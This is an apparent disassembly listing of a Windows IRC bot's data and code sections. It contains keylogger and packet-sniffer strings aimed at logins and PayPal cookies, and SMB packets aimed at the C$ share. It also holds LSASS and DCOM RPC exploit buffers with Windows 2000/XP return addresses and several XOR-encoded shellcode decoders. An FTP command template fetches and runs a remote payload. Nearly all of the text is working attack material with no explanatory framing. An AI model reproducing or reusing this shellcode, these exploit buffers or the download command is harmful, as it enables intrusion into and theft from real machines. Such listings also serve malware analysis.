dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_423BB4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: sub_40211A+AEo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
align 4
aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo
; sub_40CE55+29D7o
align 10h
asc_423C30: ; DATA XREF: sub_40211A+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 10h
off_423C80 dd offset dword_4244F8 ; DATA XREF: sub_4024DC+29Er
dd offset off_4244F4
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dword_423C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_4024DC+1DEo
dword_423CA4 dd 0 ; DATA XREF: sub_4024DC+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: .nsp0:00423C8Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: .nsp0:00423C88o
off_4244F4 dd offset byte_435249 ; DATA XREF: .nsp0:00423C84o
dword_4244F8 dd 544F42h ; DATA XREF: .nsp0:off_423C80o
unk_4244FC db 2 ; DATA XREF: sub_4024DC+2FCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_424544 db 2 ; DATA XREF: sub_4024DC+2ABo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024DC+235o
align 4
unk_424598 db 2 ; DATA XREF: sub_4024DC+186o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_4245E4 db 2 ; DATA XREF: sub_4024DC+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
; DATA XREF: sub_4024DC+85o
dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h
dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
jmp short loc_42468A
; =============== S U B R O U T I N E =======================================
sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_424682: ; CODE XREF: sub_42467A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_424682
jmp short loc_42468F
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: .nsp0:00424678j
call near ptr sub_42467A
loc_42468F: ; CODE XREF: sub_42467A+Ej
jo short loc_4246F3
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_424711
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_424711: ; CODE XREF: sub_42467A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_42467A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4247B8: ; DATA XREF: sub_402988+150o
; sub_402988+20Do
jmp short loc_4247CA
; =============== S U B R O U T I N E =======================================
sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4247C2: ; CODE XREF: sub_4247BA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4247C2
jmp short loc_4247CF
; ---------------------------------------------------------------------------
loc_4247CA: ; CODE XREF: .nsp0:loc_4247B8j
call sub_4247BA
loc_4247CF: ; CODE XREF: sub_4247BA+Ej
jo short near ptr dword_424748+1Eh
cwde
cdq
cdq
retn
sub_4247BA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_402988+101o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_402DDD+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_402988+86o
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2B0o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2DBo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+3C3o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+314o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+33Fo
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0 dd 0 ; DATA XREF: sub_402988+36Do
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 0
dd offset loc_40A89A
dd 1, 0
dd 1, 2 dup(0)
word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r
; sub_402988+E3r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_424F98 dd 1004600h ; DATA XREF: sub_402988+13Dr
; sub_402988+240r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425050 dd 0A0D7325h, 0 ; DATA XREF: sub_40283D+EAo
; sub_4036EB+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40283D+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_4250BC: ; DATA XREF: sub_402988+171o
; sub_40384C+177o
jmp short loc_4250C4
; ---------------------------------------------------------------------------
jmp short loc_4250C6
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_4250C4: ; CODE XREF: .nsp0:loc_4250BCj
; DATA XREF: sub_402988+27o ...
pop esp
pop esp
loc_4250C6: ; CODE XREF: .nsp0:004250BEj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_4250D0 dd 1CEC8166h ; DATA XREF: sub_402988+Dr
; sub_40384C+Dr
dword_4250D4 dd 0E4FF07h ; DATA XREF: sub_402988+16r
; sub_40384C+16r
dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4033CB+E1o
; sub_4033CB+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403178+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_425488 dd 20h, 0 ; DATA XREF: sub_403178+136o
dd 20h, 5C005Ch, 0
off_42549C dd offset aString ; DATA XREF: sub_403178+15Do
; "string"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_4255EC dd 18759Fh ; DATA XREF: sub_403178+104o
dword_4255F0 dd 100139Dh ; DATA XREF: sub_403178+FBo
asc_4255F4: ; DATA XREF: sub_402FDD+1Co
; sub_4030C0+16o
unicode 0, <\\>,0
align 4
off_4255FC dd offset dword_49005C ; DATA XREF: sub_402FDD+Co
; sub_4030C0+Bo
dd offset aStuttgar+8
dd 24h
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
align 10h
jmp short loc_425632
; =============== S U B R O U T I N E =======================================
sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_42562A: ; CODE XREF: sub_425622+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_42562A
jmp short loc_425637
; ---------------------------------------------------------------------------
loc_425632: ; CODE XREF: .nsp0:00425620j
call near ptr sub_425622
loc_425637: ; CODE XREF: sub_425622+Ej
jo short loc_42569B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_4256B9
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_42569B: ; CODE XREF: sub_425622:loc_425637j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_4256B9: ; CODE XREF: sub_425622+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_425622 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_425760: ; DATA XREF: sub_40384C+156o
; sub_40384C+212o
jmp short loc_425772
; =============== S U B R O U T I N E =======================================
sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_42576A: ; CODE XREF: sub_425762+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42576A
jmp short loc_425777
; ---------------------------------------------------------------------------
loc_425772: ; CODE XREF: .nsp0:loc_425760j
call sub_425762
loc_425777: ; CODE XREF: sub_425762+Ej
jo short near ptr dword_4256F0+1Eh
cwde
cdq
cdq
retn
sub_425762 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
